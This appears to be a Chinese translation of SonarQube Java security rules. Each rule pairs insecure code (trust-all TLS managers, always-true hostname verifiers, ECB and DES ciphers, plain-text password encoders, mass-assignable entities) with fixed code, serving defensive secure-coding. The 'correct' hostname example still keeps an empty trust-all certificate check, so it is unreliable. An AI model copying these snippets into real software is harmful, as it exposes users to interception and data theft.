        http.authorizeRequests()
          .antMatchers("/resources/**", "/signup", "/about").permitAll() // 正确的代码示范
          .antMatchers("/admin/**").hasRole("ADMIN")
          .antMatchers("/admin/login").permitAll() // 错误示范; the pattern "/admin/login" should occurs before "/admin/**"
          .antMatchers("/**", "/home").permitAll()
          .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')") // 错误示范; the pattern "/db/**" should occurs before "/**"
          .and().formLogin().loginPage("/login").permitAll().and().logout().permitAll();
      }
    

    正确的代码示例

      protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
          .antMatchers("/resources/**", "/signup", "/about").permitAll() // 正确的代码示范
          .antMatchers("/admin/login").permitAll()
          .antMatchers("/admin/**").hasRole("ADMIN") // 正确的代码示范
          .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')")
          .antMatchers("/**", "/home").permitAll() // 正确的代码示范; "/**" is the last one
          .and().formLogin().loginPage("/login").permitAll().and().logout().permitAll();
      }
    

    See

    OWASP Top 10 2017 Category A6 - Security
    Misconfiguration

    规则S4684 : 持久化Entity不可用于"@RequestMapping"方法参数

    错误的代码示例

    import javax.persistence.Entity;
    
    @Entity
    public class Wish {
      Long productId;
      Long quantity;
      Client client;
    }
    
    @Entity
    public class Client {
      String clientId;
      String name;
      String password;
    }
    
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    
    @Controller
    public class WishListController {
    
      @PostMapping(path = "/saveForLater")
      public String saveForLater(Wish wish) {
        session.save(wish);
      }
    
      @RequestMapping(path = "/saveForLater", method = RequestMethod.POST)
      public String saveForLater(Wish wish) {
        session.save(wish);
      }
    }
    

    正确的代码示例

    public class WishDTO {
      Long productId;
      Long quantity;
      Long clientId;
    }
    
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    
    @Controller
    public class PurchaseOrderController {
    
      @PostMapping(path = "/saveForLater")
      public String saveForLater(WishDTO wish) {
        Wish persistentWish = new Wish();
        // do the mapping between "wish" and "persistentWish"
        [...]
        session.save(persistentWish);
      }
    
      @RequestMapping(path = "/saveForLater", method = RequestMethod.POST)
      public String saveForLater(WishDTO wish) {
        Wish persistentWish = new Wish();
        // do the mapping between "wish" and "persistentWish"
        [...]
        session.save(persistentWish);
      }
    }
    

    特殊情况

    如果是用 @PathVariable注解,此规范可以忽略

    See
    OWASP Top 10 2017 Category A5 - Broken Access Control

    MITRE, CWE-915 - Improperly Controlled Modification of Dynamically-Determined
    Object Attributes
    Two Security Vulnerabilities in the Spring
    Framework’s MVC by Ryan Berg and Dinis Cruz

    规则S4830 : 进行SSL/TLS连接时,需要进行服务器证书校验

    错误的代码示例

    class TrustAllManager implements X509TrustManager {
    
        @Override
        public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {  // 错误示范, nothing means trust any client
        }
    
        @Override
        public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { // 错误示范, this method never throws exception, it means trust any client
            LOG.log(Level.SEVERE, ERROR_MESSAGE);
        }
    
        @Override
        public X509Certificate[] getAcceptedIssuers() {
            return null;
        }
    }
    

    See
    OWASP Top 10 2017 Category A6 - Security
    Misconfiguration
    MITRE, CWE-295</a> - Improper Certificate Validation
    CERT, MSC61-J. - Do not use insecure or weak cryptographic algorithms

    规则S5301 : "ActiveMQConnectionFactory" 需要对任意数据包进行反序列化

    错误的代码示例

    ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616");
    factory.setTrustAllPackages(true); // 错误示范
    
    ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616");
    // no call to factory.setTrustedPackages(...);
    

    正确的代码示例

    ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616");
    factory.setTrustedPackages(Arrays.asList("org.mypackage1", "org.mypackage2"));
    

    See

    OWASP Top 10 2017 Category A8 - Insecure Deserialization
    MITRE, CWE-502 - Deserialization of Untrusted Data
    ActiveMQ ObjectMessage Security Advisory
    CVE-2015-5254

    规则S5344 : 需要使用安全的"PasswordEncoder"进行身份认证

    错误的代码示例

        @Autowired
        public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
            auth.jdbcAuthentication()
                    .dataSource(dataSource)
                    .usersByUsernameQuery("SELECT * FROM users WHERE username = ?")
                    .passwordEncoder(new StandardPasswordEncoder()); // 错误示范
            // OR
            auth.jdbcAuthentication()
                    .dataSource(dataSource)
                    .usersByUsernameQuery("SELECT * FROM users WHERE username = ?"); // 错误示范; default uses plain-text
            // OR
            auth.userDetailsService(...); // 错误示范; default uses plain-text
            // OR
            auth.userDetailsService(...).passwordEncoder(new StandardPasswordEncoder()); // 错误示范
        }
    

    正确的代码示例

        @Autowired
        public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
            auth.jdbcAuthentication()
                    .dataSource(dataSource)
                    .usersByUsernameQuery("Select * from users where username=?")
                    .passwordEncoder(new BCryptPasswordEncoder());
            // or
            auth.userDetailsService(null).passwordEncoder(new BCryptPasswordEncoder());
        }
    

    See
    OWASP Top 10 2017 Category A2 - Broken Authentication
    OWASP Top 10 2017 Category A6 - Securityc Misconfiguration
    MITRE, CWE-328 - Reversible One-Way Hash
    MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
    SANS Top 25 - Porous Defenses

    规则S5527 : SSL/TLS连接需要校验主机名

    错误的代码示例

    SSLContext sslcontext = SSLContext.getInstance( "TLS" );
    sslcontext.init(null, new TrustManager[]{new X509TrustManager() {
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
      public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
    
    }}, new java.security.SecureRandom());
    
    Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() {
      @Override
      public boolean verify(String requestedHost, SSLSession remoteServerSession) {
        return true;  // 错误示范
      }
    }).build();
    

    SimpleEmail example:

    Email email = new SimpleEmail();
    email.setSmtpPort(465);
    email.setAuthenticator(new DefaultAuthenticator(username, password));
    email.setSSLOnConnect(true); // 错误示范; setSSLCheckServerIdentity(true) should also be called before sending the email
    email.send();
    

    JavaMail's example:

    Properties props = new Properties();
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.socketFactory.port", "465");
    props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); // 错误示范; Session is created without having "mail.smtp.ssl.checkserveridentity" set to true
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.port", "465");
    Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
      protected PasswordAuthentication getPasswordAuthentication() {
        return new PasswordAuthentication("username@gmail.com", "password");
      }
    });
    

    正确的代码示例

    SSLContext sslcontext = SSLContext.getInstance( "TLSv1.2" );
    sslcontext.init(null, new TrustManager[]{new X509TrustManager() {
      @Override
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
      @Override
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
      @Override
      public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
    
    }}, new java.security.SecureRandom());
    
    Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() {
      @Override
      public boolean verify(String requestedHost, SSLSession remoteServerSession) {
        return requestedHost.equalsIgnoreCase(remoteServerSession.getPeerHost()); // 正确的代码示范
      }
    }).build();
    

    SimpleEmail example:

    Email email = new SimpleEmail();
    email.setSmtpPort(465);
    email.setAuthenticator(new DefaultAuthenticator(username, password));
    email.setSSLOnConnect(true);
    email.setSSLCheckServerIdentity(true); // 正确的代码示范
    email.send();
    

    JavaMail's example:

    Properties props = new Properties();
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.socketFactory.port", "465");
    props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.port", "465");
    props.put("mail.smtp.ssl.checkserveridentity", true); // 正确的代码示范
    Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
      protected PasswordAuthentication getPasswordAuthentication() {
        return new PasswordAuthentication("username@gmail.com", "password");
      }
    });
    

    See
    OWASP Top 10 2017 Category A6 - Security Misconfiguration
    MITRE, CWE-295 - Improper Certificate Validation
    Derived from FindSecBugs rule - WEAK_HOSTNAME_VERIFIER

    规则S5542 : 加密算法需要使用安全模式及填充

    错误的代码示例

    Cipher c0 = Cipher.getInstance("AES"); // 错误示范: by default ECB mode is chosen
    Cipher c1 = Cipher.getInstance("AES/ECB/NoPadding"); // 错误示范: ECB doesn't provide serious message confidentiality
    Cipher c3 = Cipher.getInstance("Blowfish/ECB/PKCS5Padding"); // 错误示范: ECB doesn't provide serious message confidentiality
    Cipher c4 = Cipher.getInstance("DES/ECB/PKCS5Padding"); // 错误示范: ECB doesn't provide serious message confidentiality
    
    Cipher c6 = Cipher.getInstance("AES/CBC/PKCS5Padding"); // 错误示范: CBC with PKCS5 is vulnerable to oracle padding attacks
    Cipher c7 = Cipher.getInstance("Blowfish/CBC/PKCS5Padding"); // 错误示范: CBC with PKCS5 is vulnerable to oracle padding attacks
    Cipher c8 = Cipher.getInstance("DES/CBC/PKCS5Padding"); // 错误示范: CBC with PKCS5 is vulnerable to oracle padding attacks
    Cipher c9 = Cipher.getInstance("AES/CBC/PKCS7Padding"); // 错误示范: CBC with PKCS7 is vulnerable to oracle padding attacks
    Cipher c10 = Cipher.getInstance("Blowfish/CBC/PKCS7Padding"); // 错误示范: CBC with PKCS7 is vulnerable to oracle padding attacks
    Cipher c11 = Cipher.getInstance("DES/CBC/PKCS7Padding"); // 错误示范: CBC with PKCS7 is vulnerable to oracle padding attacks
    
    Cipher c14 = Cipher.getInstance("RSA/NONE/NoPadding"); // 错误示范: RSA without OAEP padding scheme is not recommanded
    

    正确的代码示例

    // Recommended for block ciphers
    Cipher c5 = Cipher.getInstance("AES/GCM/NoPadding"); // 正确的代码示范
    
    // Recommended for RSA
    Cipher c15 = Cipher.getInstance("RSA/None/OAEPWithSHA-1AndMGF1Padding"); // 正确的代码示范
    Cipher c16 = Cipher.getInstance("RSA/None/OAEPWITHSHA-256ANDMGF1PADDING"); // 正确的代码示范
    

    See
    OWASP Top 10 2017 Category A6 - Security
    Misconfiguration
    MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
    CERT, MSC61-J. - Do not use insecure or weak cryptographic algorithms
    SANS Top 25 - Porous Defenses

    规则S5547 : 需要使用强壮的密钥算法

    错误的代码示例

    import javax.crypto.Cipher;
    import java.security.NoSuchAlgorithmException;
    import javax.crypto.NoSuchPaddingException;
    
    public class test {
    
        public static void main(String[] args) {
          try
          {
            Cipher c1 = Cipher.getInstance("DES"); // 错误示范: DES works with 56-bit keys allow attacks via exhaustive search
            Cipher c7 = Cipher.getInstance("DESede"); // 错误示范: Triple DES is vulnerable to meet-in-the-middle attack
            Cipher c13 = Cipher.getInstance("RC2"); // 错误示范: RC2 is vulnerable to a related-key attack
            Cipher c19 = Cipher.getInstance("RC4"); // 错误示范: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security)
            Cipher c25 = Cipher.getInstance("Blowfish"); // 错误示范: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks
    
            NullCipher nc = new NullCipher(); // 错误示范: the NullCipher class provides an "identity cipher" one that does not transform or encrypt the plaintext in any way.
          }
          catch(NoSuchAlgorithmException|NoSuchPaddingException e)
          {
          }
        }
    }
    

    正确的代码示例

    import javax.crypto.Cipher;
    import java.security.NoSuchAlgorithmException;
    import javax.crypto.NoSuchPaddingException;
    
    public class test {
    
        public static void main(String[] args) {
          try
          {
            Cipher c31 = Cipher.getInstance("AES/GCM/NoPadding"); // 正确的代码示范
          }
          catch(NoSuchAlgorithmException|NoSuchPaddingException e)
          {
          }
        }
    }
    

    See

    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
    MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
    CERT, MSC61-J. - Do not use insecure or weak cryptographic algorithms
    SANS Top 25 - Porous Defenses

    规则S899 : 如果方法返回中包含状态信息,必须进行状态检查

    例如:如下操作必须进行检查:

    • java.io.File 所有返回状态码的操作 ( mkdirs除外)
    • Iterator.hasNext()
    • Enumeration.hasMoreElements()
    • Lock.tryLock()
    • Condition.await*
    • CountDownLatch.await(long, TimeUnit)
    • Semaphore.tryAcquire
    • BlockingQueue: offer, remove

    错误的代码示例

    public void doSomething(File file, Lock lock) {
      file.delete();  // 错误示范
      // ...
      lock.tryLock(); // 错误示范
    }
    

    正确的代码示例

    public void doSomething(File file, Lock lock) {
      if (!lock.tryLock()) {
        // lock failed; take appropriate action
      }
      if (!file.delete()) {
        // file delete failed; take appropriate action
      }
    }
    

    See

    CERT, ERR33-C. - Detect and handle standard library errors
    CERT, POS54-C. - Detect and handle POSIX library errors
    CERT, EXP00-J. - Do not ignore values returned by methods
    CERT, EXP12-C. - Do not ignore values returned by functions
    CERT, FIO02-J. - Detect and handle file-related errors
    MITRE, CWE-754 - Improper Check for Unusual Exceptional Conditions

    相关文章

      网友评论

          本文标题:Java规范之Sonar规则的汉化【漏洞类】

          本文链接:https://www.haomeiwen.com/subject/ydxwjktx.html